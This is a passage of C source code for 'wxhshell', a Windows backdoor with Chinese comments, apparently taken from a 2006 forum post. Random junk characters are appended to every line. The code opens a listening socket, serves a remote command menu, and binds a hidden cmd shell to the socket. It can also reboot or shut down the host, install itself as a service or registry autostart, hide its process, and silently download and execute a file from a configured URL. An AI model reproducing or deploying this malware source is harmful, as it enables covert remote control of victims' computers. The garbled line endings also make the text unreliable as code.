  send(wsh,msg_ws_err,strlen(msg_ws_err),0); lJBZ0  
  else iSj.lW  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); KKJa?e`C  
  } Z-z(SKL  
  else { &d[%  
3+:uV  
    switch(cmd[0]) { ltXGm)+  
  =D?{d{JT  
  // 帮助 HlX2:\\  
  case '?': { ]"\XTL0  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); (:J U  
    break; Kr;F4G|Qt  
  } aW$))J)0  
  // 安装 8HH\wu$$e  
  case 'i': { _jrkR n1"  
    if(Install()) 4fdO Ow  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); x9H qc9q  
    else DBzF\-  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ZZF\;  
    break; #'h(o/hz&&  
    } %v1*D^))  
  // 卸载 *XqS~G  
  case 'r': { %Wb$qpa  
    if(Uninstall()) / , .rUn1  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3x~AaC.j  
    else 15`,kJSK  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }zV#?;}  
    break; 3})0p  
    } 1 ,4V8gp  
  // 显示 wxhshell 所在路径 &pLCN[a  
  case 'p': { Qx !! Ttd{  
    char svExeFile[MAX_PATH]; 5[>N[}Ck>  
    strcpy(svExeFile,"\n\r"); dZjh@yGP.  
      strcat(svExeFile,ExeFile);  ,zrShliU  
        send(wsh,svExeFile,strlen(svExeFile),0); KXga {]G:  
    break; Zl`sY5{1  
    } N`i`[ f  
  // 重启 %c,CfhEV%&  
  case 'b': { 55|.MXzq  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 7!E7XP6,~>  
    if(Boot(REBOOT)) E 5bo60z  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Z~Z+Yt;,9a  
    else { |oJ R+  
    closesocket(wsh); h}(GOY S)  
    ExitThread(0); TGQDt|+Z  
    } ;Ajy54}7  
    break; 1'g{tP"d  
    } AA0zt N  
  // 关机 &>o?0A6  
  case 'd': { "J6 aU  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 834dsl+U  
    if(Boot(SHUTDOWN)) ,4z?9@wQ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); f@= lK?Pfh  
    else { IpMZ{kJlv`  
    closesocket(wsh); H>2f M^  
    ExitThread(0); HxH=~B1"P  
    } s_N]$3'[E  
    break; h^6Yjy  
    } 2VNfnk  
  // 获取shell #2*2xt  
  case 's': { t#[u X?  
    CmdShell(wsh); lw"5p)aB  
    closesocket(wsh); A4uDuB;;ZQ  
    ExitThread(0); .Qeml4(`3  
    break; GCEq3 ^/  
  } #T8$NZA  
  // 退出 4$!iw3N(  
  case 'x': { ec` $2u  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); tpi>$:e  
    CloseIt(wsh); W e*)RXm%  
    break; n/]$k4h  
    } vVi))%&S(  
  // 离开 g$ oe00b  
  case 'q': { )z#M_[zC>  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ]w=6.LzO*  
    closesocket(wsh); f@a@R$y  
    WSACleanup(); R9z^=QKcH  
    exit(1); )vFZl]  
    break; (e;9 ,~u)  
        } P>t[35/1  
  } U)N_/  
  } 6|D,`dk3U  
VX;tg lu2  
  // 提示信息 %Sdzr!I7*  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); b(~ gQM  
} h}_1cev?  
  } B:\TvWbu  
/8` S}g+  
  return; MrA&xM  
} ?geEq'  
sR. ecs+  
// shell模块句柄 6uijxia  
int CmdShell(SOCKET sock) 5Y&s+|   
{ txwTJScg  
STARTUPINFO si; ZSTpA,+6  
ZeroMemory(&si,sizeof(si)); ~xg1mS9d  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Q`}n; DV  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; QAy9RQ0  
PROCESS_INFORMATION ProcessInfo; KD~F5aS`[  
char cmdline[]="cmd"; E@_M|=p&  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); k+S 6)BQ7U  
  return 0; &,Xs=Lv mq  
} vx\h Njb  
X=p~`Ar M{  
// 自身启动模式 -R;.Md_  
int StartFromService(void) _;B N;].  
{ 4JHFn [%  
typedef struct oIM]  
{ ya'@AJS  
  DWORD ExitStatus; /N ^%=G#  
  DWORD PebBaseAddress; Dn?P~%  
  DWORD AffinityMask; $W8  
  DWORD BasePriority; G1"=}Wt`  
  ULONG UniqueProcessId; nD+vMG1~w  
  ULONG InheritedFromUniqueProcessId; ^J>jU`)CJ  
}   PROCESS_BASIC_INFORMATION; [D H@>:"dd  
%L./U$  
PROCNTQSIP NtQueryInformationProcess; ?~a M<rcZ  
jz$)*Kdi*  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; -< 7KW0CA  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; OZ q/'*  
WbS2w @8  
  HANDLE             hProcess; <bf^'$l  
  PROCESS_BASIC_INFORMATION pbi; rY>{L6d  
15r<n  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); !o 7uZC\  
  if(NULL == hInst ) return 0; +6!.)Ea=  
$s hlNW\  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); zy#E qv  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ujcNSX*  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ~}mX#,  
sDCa&"6+@  
  if (!NtQueryInformationProcess) return 0; t?v0ylN  
kvdzD6T 9  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 'lv\I9"S)  
  if(!hProcess) return 0; {nbD5 ?   
E YUr.#:  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; #TUsi,jG  
~ S R:,R  
  CloseHandle(hProcess); XQk9 U  
0X)'8N  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); %+G/oF |  
if(hProcess==NULL) return 0; hSD)|  
 { Lt \4h  
HMODULE hMod; fj 19U9R  
char procName[255]; r&\}E+  
unsigned long cbNeeded; +gOCl*L  
*kxk@(lT?  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 6yF4%Sz9  
"_C^Bc  
  CloseHandle(hProcess); yi7-[W}  
nrA}36E  
if(strstr(procName,"services")) return 1; // 以服务启动 [6 !/  
}_M .-Xm  
  return 0; // 注册表启动 A{;b^ IK  
} 3u7E?*{sH  
 ?S0VtHQ  
// 主模块 ;2}0Hr'|  
int StartWxhshell(LPSTR lpCmdLine) +iwNM+K/gQ  
{ 2u6N';jgZ  
  SOCKET wsl; DnaG$a<  
BOOL val=TRUE; / v;g v[  
  int port=0; C did*hxJ  
  struct sockaddr_in door; Uz H)fB  
gW6lMyiLb  
  if(wscfg.ws_autoins) Install(); bs]ret$?(q  
i<1w*yu  
port=atoi(lpCmdLine); T{|'<KT  
P,~a'_w:|D  
if(port<=0) port=wscfg.ws_port; qEf )TW(  
PF!Q2t5c3  
  WSADATA data; f b_tda",}  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; eF}Q8]da  
X<(h)&E  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   k KL^U  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); (J<@e!@NE  
  door.sin_family = AF_INET; dp2".  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); bK("8T\?  
  door.sin_port = htons(port); S53 [Ja  
_>A])B ^  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { }k<b)I*A  
closesocket(wsl); R8\y|p#c  
return 1; _e8@y{/~Fd  
} ?Yg K]IxD  
4\2p8__  
  if(listen(wsl,2) == INVALID_SOCKET) { \Ul*Nsw  
closesocket(wsl); akBR"y:~:H  
return 1; rEdr8qw  
} Cz?N[dhh  
  Wxhshell(wsl); 60teD>Eh,  
  WSACleanup(); kzns:-a  
ss,t[`AV{  
return 0; w_,.  
uiE9#G  
} 1w+&Y;d|  
ahS*YeS7  
// 以NT服务方式启动 }PyAmh$@  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) >}O1lsjW:z  
{ Nf0b?jn-  
DWORD   status = 0; /n?5J`6  
  DWORD   specificError = 0xfffffff; **-%5 ~  
?$;_a%v6  
  serviceStatus.dwServiceType     = SERVICE_WIN32; cGsxfwD  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 6l [T Q  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; x7Ly,  
  serviceStatus.dwWin32ExitCode     = 0; zmf5!77  
  serviceStatus.dwServiceSpecificExitCode = 0; ,`/!0Wmt  
  serviceStatus.dwCheckPoint       = 0; ui G7  
  serviceStatus.dwWaitHint       = 0; lEZ[0oa  
RURO0`^  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); P!B\:B%4~]  
  if (hServiceStatusHandle==0) return; zi[bpa17W  
*-_` xe  
status = GetLastError(); V)Z*X88:Tv  
  if (status!=NO_ERROR) ;-^WUf |  
{ %'4dg k  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; jDgiH}  
    serviceStatus.dwCheckPoint       = 0; ^bL.|vB  
    serviceStatus.dwWaitHint       = 0; eiP>?8  
    serviceStatus.dwWin32ExitCode     = status; kc|`VB8L  
    serviceStatus.dwServiceSpecificExitCode = specificError; n?Gm 5##  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); x gaN0!  
    return; =#T6,[5  
  } 5[X^1  
;5"r)F+P  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ]ueq&|  
  serviceStatus.dwCheckPoint       = 0; [:g6gAuh,  
  serviceStatus.dwWaitHint       = 0; bMkn(_H)\  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); #dW$"u   
} r]BB$^@@V  
:;{U2q+  
// 处理NT服务事件,比如:启动、停止 qdZn9i  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 0[PP Vr:  
{ JYm@Llf)$  
switch(fdwControl) XuR!9x^5  
{ 7F\U|kx_  
case SERVICE_CONTROL_STOP: s;8J= \9W  
  serviceStatus.dwWin32ExitCode = 0; T"9`[Lzva  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; \)y5~te*  
  serviceStatus.dwCheckPoint   = 0; 09|d<  
  serviceStatus.dwWaitHint     = 0; dW8'$!@!!  
  { .__X[Mzth3  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); b*dRNu  
  } ] =>vv;L  
  return; ;?zb (2  
case SERVICE_CONTROL_PAUSE:  >?U (w<  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; O~fRcf:Q  
  break; G*ym[  
case SERVICE_CONTROL_CONTINUE: pgU54 Ef  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; O+.V,` O  
  break; 4d0PW#97.  
case SERVICE_CONTROL_INTERROGATE: wGnjuIR  
  break; 8EbYk2j  
}; _~Lhc'^p*  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); s}`=pk/FM  
} V%e'H>EC  
YaSwn3i/@S  
// 标准应用程序主函数 v[m/>l2[P  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ZwO&G\A^  
{ fcJ#\-+E  
cQ3Dk<GZ  
// 获取操作系统版本 QhpE2ICU  
OsIsNt=GetOsVer(); z<^HohT  
GetModuleFileName(NULL,ExeFile,MAX_PATH); eg?vYW  
68 -I2@&  
  // 从命令行安装 xiA9X]FB  
  if(strpbrk(lpCmdLine,"iI")) Install(); Fo?2nQ<  
8.Y6r  
  // 下载执行文件 ^U~YG=!ww  
if(wscfg.ws_downexe) { LsV!Sd  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) L8R|\Bx  
  WinExec(wscfg.ws_filenam,SW_HIDE); $D9JsUij  
} wQM(Lm#Q  
C+y:<oo)  
if(!OsIsNt) { y3;G<9K2c]  
// 如果时win9x,隐藏进程并且设置为注册表启动 ix7N q7!N  
HideProc(); )vuxy  
StartWxhshell(lpCmdLine); ub,Sj{Mq"  
} wG^{Jf&@$  
else 5"XcVH4g  
  if(StartFromService()) oh& P Q{  
  // 以服务方式启动 {T:2+iS9:  
  StartServiceCtrlDispatcher(DispatchTable); ]lZ!en  
else w? !@fu  
  // 普通方式启动 #FuOTBNvB  
  StartWxhshell(lpCmdLine);  U]e;=T:3  
l6l)M  
return 0; *<Qn)Az  
}
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只看该作者 1 发表于: 2006-10-10
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